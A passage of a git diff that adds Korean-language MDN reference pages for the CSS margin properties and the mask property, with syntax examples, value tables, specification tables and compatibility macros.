+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>No significant change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>margin-bottom</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Removes its effect on inline elements.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-bottom', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.margin-bottom")}}</p>
diff --git a/files/ko/web/css/margin-left/index.html b/files/ko/web/css/margin-left/index.html
new file mode 100644
index 0000000000..9e1d9b9953
--- /dev/null
+++ b/files/ko/web/css/margin-left/index.html
@@ -0,0 +1,160 @@
+---
+title: margin-left
+slug: Web/CSS/margin-left
+tags:
+  - CSS
+  - CSS Property
+  - Layout
+  - Reference
+translation_of: Web/CSS/margin-left
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin-left</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 왼쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a><sup>margin area</sup>을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-left.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+margin-left: 20px;  /* 절대 길이 */
+margin-left: 1em;   /* 글씨 크기에 상대적 */
+margin-left: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-left: auto;
+
+/* 전역 값 */
+margin-left: inherit;
+margin-left: initial;
+margin-left: unset;
+</pre>
+
+<p><code>margin-left</code> 속성은 키워드 <code>auto</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>바깥 여백 크기의 고정 값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>바깥 여백 크기와 블록 컨테이너 너비의 비율.</dd>
+ <dt><code>auto</code></dt>
+ <dd>사용한 레이아웃 모드에 따라 가로축 미사용 공간 너비의 일부를 바깥 여백에 할당. <code>margin-left</code>와 <code>margin-right</code>의 값이 모두 <code>auto</code>라면 너비를 양 여백에 동일하게 배정합니다. 아래 표가 가능한 여러 경우를 보입니다.
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">{{cssxref("display")}} 값</th>
+    <th scope="col">{{cssxref("float")}} 값</th>
+    <th scope="col">{{cssxref("position")}} 값</th>
+    <th scope="col"><code>auto</code>의 계산 값</th>
+    <th scope="col">설명</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th><code>inline</code>, <code>inline-block</code>, <code>inline-table</code></th>
+    <th><em>any</em></th>
+    <th><code>static</code> or <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>인라인 레이아웃 모드</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><em>any</em></th>
+    <th><code>static</code> or <code>relative</code></th>
+    <td><code>0</code>, except if both <code>margin-left</code> and <code>margin-right</code> are set to <code>auto</code>. In this case, it is set to the value centering the element inside its parent.</td>
+    <td>블록 레이아웃 모드</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><code>left</code> or <code>right</code></th>
+    <th><code>static</code> or <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>블록 레이아웃 모드 (플로팅 요소)</td>
+   </tr>
+   <tr>
+    <th><em>any </em><code>table-*</code><em>, except </em><code>table-caption</code></th>
+    <th><em>any</em></th>
+    <th><em>any</em></th>
+    <td><code>0</code></td>
+    <td>내부 <code>table-*</code> 요소는 바깥 여백을 가지지 않습니다. 대신 {{ cssxref("border-spacing") }}을 사용하세요.</td>
+   </tr>
+   <tr>
+    <th><em>any, except <code>flex</code>,</em> <code>inline-flex</code><em>, or </em><code>table-*</code></th>
+    <th><em>any</em></th>
+    <th><em><code>fixed</code></em> or <code>absolute</code></th>
+    <td><code>0</code>, except if both <code>margin-left</code> and <code>margin-right</code> are set to <code>auto</code>. In this case, it is set to the value centering the border area inside the available <code>width</code>, if fixed.</td>
+    <td>절대위치 레이아웃 모드</td>
+   </tr>
+   <tr>
+    <th><code>flex</code>, <code>inline-flex</code></th>
+    <th><em>any</em></th>
+    <th><em>any</em></th>
+    <td><code>0</code>, except if there is any positive horizontal free space. In this case, it is evenly distributed to all horizontal <code>auto</code> margins.</td>
+    <td>플렉스박스 레이아웃 모드</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { margin-left: 5%; }
+.sidebox { margin-left: 10px; }
+.logo    { margin-left: -5px; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-margin', 'margin-left') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No significant change</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-left') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>margin-left</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-left')}}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Defines the behavior of <code>margin-right</code> on flex items.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-left') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Removes its effect on inline elements.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#margin-left', 'margin-left') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.margin-left")}}</p>
diff --git a/files/ko/web/css/margin-right/index.html b/files/ko/web/css/margin-right/index.html
new file mode 100644
index 0000000000..8547ce5bcd
--- /dev/null
+++ b/files/ko/web/css/margin-right/index.html
@@ -0,0 +1,159 @@
+---
+title: margin-right
+slug: Web/CSS/margin-right
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/margin-right
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin-right</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 오른쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a><sup>margin area</sup>을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-right.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+margin-right: 20px;  /* 절대 길이 */
+margin-right: 1em;   /* 글씨 크기에 상대적 */
+margin-right: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-right: auto;
+
+/* 전역 값 */
+margin-right: inherit;
+margin-right: initial;
+margin-right: unset;
+</pre>
+
+<p><code>margin-right</code> 속성은 키워드 <code>auto</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>바깥 여백 크기의 고정 값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>바깥 여백 크기와 블록 컨테이너 너비의 비율.</dd>
+ <dt><code>auto</code></dt>
+ <dd>사용한 레이아웃 모드에 따라 가로축 미사용 공간 너비의 일부를 바깥 여백에 할당. <code>margin-left</code>와 <code>margin-right</code>의 값이 모두 <code>auto</code>라면 너비를 양 여백에 동일하게 배정합니다. 아래 표가 가능한 여러 경우를 보입니다.
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">{{cssxref("display")}} 값</th>
+    <th scope="col">{{cssxref("float")}} 값</th>
+    <th scope="col">{{cssxref("position")}} 값</th>
+    <th scope="col"><code>auto</code>의 계산 값</th>
+    <th scope="col">설명</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th><code>inline</code>, <code>inline-block</code>, <code>inline-table</code></th>
+    <th><em>any</em></th>
+    <th><code>static</code> or <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>인라인 레이아웃 모드</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><em>any</em></th>
+    <th><code>static</code> or <code>relative</code></th>
+    <td><code>0</code>, except if both <code>margin-left</code> and <code>margin-right</code> are set to <code>auto</code>. In this case, it is set to the value centering the element inside its parent.</td>
+    <td>블록 레이아웃 모드</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><code>left</code> or <code>right</code></th>
+    <th><code>static</code> or <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>블록 레이아웃 모드 (플로팅 요소)</td>
+   </tr>
+   <tr>
+    <th><em>any </em><code>table-*</code><em>, except </em><code>table-caption</code></th>
+    <th><em>any</em></th>
+    <th><em>any</em></th>
+    <td><code>0</code></td>
+    <td>내부 <code>table-*</code> 요소는 바깥 여백을 가지지 않습니다. 대신 {{ cssxref("border-spacing") }}을 사용하세요.</td>
+   </tr>
+   <tr>
+    <th><em>any, except <code>flex</code>,</em> <code>inline-flex</code><em>, or </em><code>table-*</code></th>
+    <th><em>any</em></th>
+    <th><em><code>fixed</code></em> or <code>absolute</code></th>
+    <td><code>0</code>, except if both <code>margin-left</code> and <code>margin-right</code> are set to <code>auto</code>. In this case, it is set to the value centering the border area inside the available <code>width</code>, if fixed.</td>
+    <td>절대위치 레이아웃 모드</td>
+   </tr>
+   <tr>
+    <th><code>flex</code>, <code>inline-flex</code></th>
+    <th><em>any</em></th>
+    <th><em>any</em></th>
+    <td><code>0</code>, except if there is any positive horizontal free space. In this case, it is evenly distributed to all horizontal <code>auto</code> margins.</td>
+    <td>플렉스박스 레이아웃 모드</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { margin-right: 5%; }
+.sidebox { margin-right: 10px; }
+.logo    { margin-right: -5px; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-margin', 'margin-right') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No significant change</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-right') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>margin-right</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-right')}}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Defines the behavior of <code>margin-right</code> on flex items.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-right') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Removes its effect on inline elements.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#margin-right', 'margin-right') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.margin-right")}}</p>
diff --git a/files/ko/web/css/margin-top/index.html b/files/ko/web/css/margin-top/index.html
new file mode 100644
index 0000000000..008ab67ade
--- /dev/null
+++ b/files/ko/web/css/margin-top/index.html
@@ -0,0 +1,100 @@
+---
+title: margin-top
+slug: Web/CSS/margin-top
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/margin-top
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin-top</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 위쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a><sup>margin area</sup>을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-top.html")}}</div>
+
+
+
+<p>{{HTMLElement("span")}}, {{HTMLElement("code")}} 등 <a href="/ko/docs/Web/CSS/Replaced_element">비대체</a><sup>non-replaced</sup> 인라인 요소에는 효과가 없습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css">/* &lt;length&gt; 값 */
+margin-top: 10px;  /* 절대 길이 */
+margin-top: 1em;   /* 글씨 크기에 상대적 */
+margin-top: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-top: auto;
+
+/* 전역 값 */
+margin-top: inherit;
+margin-top: initial;
+margin-top: unset;</pre>
+
+<p><code>margin-top</code> 속성은 키워드 <code>auto</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>바깥 여백 크기의 고정 값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>바깥 여백 크기와 블록 컨테이너 너비의 비율.</dd>
+ <dt><code>auto</code></dt>
+ <dd>브라우저가 적절한 값 선택. {{cssxref("margin")}}을 참고하세요.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush:css;">.content { margin-top:   5%; }
+.sidebox { margin-top: 10px; }
+.logo    { margin-top: -5px; }
+#footer  { margin-top:  1em; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-top')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>No significant change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-top')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>margin-top</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Removes its effect on inline elements.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-top', 'margin-top')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.margin-top")}}</p>
diff --git a/files/ko/web/css/margin/index.html b/files/ko/web/css/margin/index.html
new file mode 100644
index 0000000000..a1048fb37e
--- /dev/null
+++ b/files/ko/web/css/margin/index.html
@@ -0,0 +1,176 @@
+---
+title: margin
+slug: Web/CSS/margin
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/margin
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin</code></strong> CSS 속성은 요소의 네 방향 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a>을 설정합니다. {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}의 단축 속성입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin.html")}}</div>
+
+
+
+<p>위와 아래 여백은 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>가 아닌 {{HTMLElement("span")}}, {{HTMLElement("code")}} 등 인라인 요소에선 아무 효과도 없습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">margin</span></font>은 요소의 주위에 빈 공간을 추가합니다. 반면 {{cssxref("padding")}}은 요소의 <strong>내부</strong>에 빈 공간을 만듭니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">/* 네 면 모두 적용 */
+margin: 1em;
+margin: -3px;
+
+/* 세로방향 | 가로방향 */
+margin: 5% auto;
+
+/* 위 | 가로방향 | 아래 */
+margin: 1em auto 2em;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+margin: 2px 1em 0 auto;
+
+/* 전역 값 */
+margin: inherit;
+margin: initial;
+margin: unset;
+</pre>
+
+<p><code>margin</code> 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}} 또는 키워드 <code>{{anch("auto")}}</code> 중 하나입니다. 음수 값은 요소와 이웃의 거리가 더 가까워지도록 합니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 여백을 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 여백을 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 여백을 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 여백을 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("length")}}</a></dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율 사용.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>브라우저가 적절한 여백 크기를 선택. 예를 들어 요소를 중앙 정렬하고 싶을 때 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="center"&gt;이 요소는 중앙 정렬입니다.&lt;/div&gt;
+&lt;div class="outside"&gt;이 요소는 컨테이너 밖으로 빠져 나갔습니다.&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.center {
+  margin: auto;
+  background: lime;
+  width: 66%;
+}
+
+.outside {
+  margin: 3rem 0 0 -3rem;
+  background: cyan;
+  width: 66%;
+}</pre>
+
+<p>{{ EmbedLiveSample('간단한_예제') }}</p>
+
+<h3 id="더_많은_예제">더 많은 예제</h3>
+
+<pre class="brush: css">margin: 5%;                 /* 모두 5% */
+
+margin: 10px;               /* 모두 10px */
+
+margin: 1.6em 20px;         /* 상하: 1.6em */
+                            /* 좌우: 20px  */
+
+margin: 10px 3% -1em;       /* 상: 10px */
+                            /* 좌우: 3% */
+                            /* 하: -1em */
+
+margin: 10px 3px 30px 5px;  /* 상: 10px */
+                            /* 우:  3px */
+                            /* 하: 30px */
+                            /* 좌:  5px */
+
+margin: 2em auto;           /* 상하: 2em */
+                            /* 수평 중앙정렬 */
+
+margin: auto;               /* 상하: 0 */
+                            /* 수평 중앙정렬 */</pre>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="수평_중앙정렬">수평 중앙정렬</h3>
+
+<p>현대 브라우저에서 어떤 요소를 중앙에 배치하려면 {{cssxref("display")}}<code>: flex; </code>{{cssxref("justify-content")}}<code>: center;</code>를 사용하면 됩니다.</p>
+
+<p>하지만 플렉스 박스 레이아웃을 지원하지 않는 Internet Explorer 8-9 등 오래된 브라우저를 지원해야 하면 <code>margin: 0 auto;</code>를 대신 사용하세요.</p>
+
+<h3 id="여백_상쇄">여백 상쇄</h3>
+
+<p>두 개 요소의 위와 아래 여백은 종종 합쳐져 하나의 여백이 되고, 그 크기는 둘 중 더 큰 여백과 같아집니다. 더 자세한 정보는 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄 정복</a>을 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#margin', 'margin') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No significant change</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>margin</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Removes its effect on inline elements.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#margin', 'margin') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.margin")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS 기본 박스 모델 입문</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄 정복</a></li>
+ <li>{{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}</li>
+</ul>
diff --git a/files/ko/web/css/mask/index.html b/files/ko/web/css/mask/index.html
new file mode 100644
index 0000000000..ca23758e02
--- /dev/null
+++ b/files/ko/web/css/mask/index.html
@@ -0,0 +1,117 @@
+---
+title: mask
+slug: Web/CSS/mask
+tags:
+  - CSS
+  - CSS Property
+  - Layout
+  - Reference
+  - SVG
+  - Web
+translation_of: Web/CSS/mask
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>mask</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 아이템이 부분적으로만 보여지게 하거나 혹은 완전히 가려서 보여지지 않게 할 수 있는 기능을 가지고 있습니다. 이 속성은 마스킹 혹은 특정한 점을 기준으로 이미지를 잘라내는 기능을 함께 제공합니다.</span></p>
+
+<div class="note">
+<p><code>mask</code> 는 {{cssxref("mask-border")}}를 초기값으로 재정의합니다. 그러므로 캐스캐이드 이전 단계에 어떠한 마스크 설정을 덮어씌우는 개별 속성아니 여타 다른 속성보다는 <code>mask</code> 를 사용하는 것을 추천합니다. This will ensure that <code>mask-border</code> has also been reset to allow the new styles to take effect.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+mask: none;
+
+/* 이미지 값 */
+mask: url(mask.png);                       /* 마스크로 사용되는 이미지 */
+mask: url(masks.svg#star);                 /* 마스크로 사용되는 SVG 그래픽 내 요소 */
+
+/* 조합형 값 */
+mask: url(masks.svg#star) luminance;       /* 밝기 조절용 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) 40px 20px;       /* 위로부터 40px, 아래부터 20px에 위치하는 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) 0 0/50px 50px;   /* 가로, 세로 각각 50px 사이즈의 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) repeat-x;        /* 수평으로 반복되는 마스크로 사용되는 SVG 그래픽 내 요소 */
+mask: url(masks.svg#star) stroke-box;      /* Element within SVG graphic used as mask extending to the box enclosed by the stroke */
+mask: url(masks.svg#star) exclude;         /* Element within SVG graphic used as mask and combined with background using non-overlapping parts */
+
+/* 글로벌 값 */
+mask: inherit;
+mask: initial;
+mask: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;mask-reference&gt;</code></dt>
+ <dd>마스크 이미지 파일 설정하기. {{cssxref("mask-image")}}를 확인하세요.</dd>
+ <dt><code>&lt;masking-mode&gt;</code></dt>
+ <dd>마스크 이미지의 마스킹 모드 설정하기. {{cssxref("mask-mode")}}를 확인하세요.</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>마스크 이미지의 위치 설정하기. {{cssxref("mask-position")}}를 확인하세요.</dd>
+ <dt><code>&lt;bg-size&gt;</code></dt>
+ <dd>마스크 이미지의 크기 설정하기. {{cssxref("mask-size")}}를 확인하세요.</dd>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>마스크 이미지의 반복 설정하기. See {{cssxref("mask-repeat")}}를 확인하세요.</dd>
+ <dt><code>&lt;geometry-box&gt;</code></dt>
+ <dd>단 하나의 &lt;geometry-box&gt; 값만 주어진다면 {{cssxref("mask-origin")}}와(과)( {{cssxref("mask-clip")}} 모두 같은 값으로 설정하는 것을 의미합니다. 두개의&lt;geometry-box&gt; 값이 주어진다면 첫번째 값은 {{cssxref("mask-origin")}}을(를), 두번쨰 값은 {{cssxref("mask-clip")}}를 설정하는 것을 의미합니다.</dd>
+ <dt><code>&lt;geometry-box&gt; | no-clip</code></dt>
+ <dd>마스크 이미지에 영향을 받는 구역을 설정하기. {{cssxref("mask-clip")}}를 확인하세요.</dd>
+ <dt><code>&lt;compositing-operator&gt;</code></dt>
+ <dd>현재 마스크 레이어 위의 합성 설정하기. {{cssxref("mask-composite")}}를 확인하세요.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">.target {
+  mask: url(#c1) luminance;
+}
+
+.anothertarget {
+  mask: url(resources.svg#c1) 50px 30px/10px 10px repeat-x exclude;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask", 'mask')}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
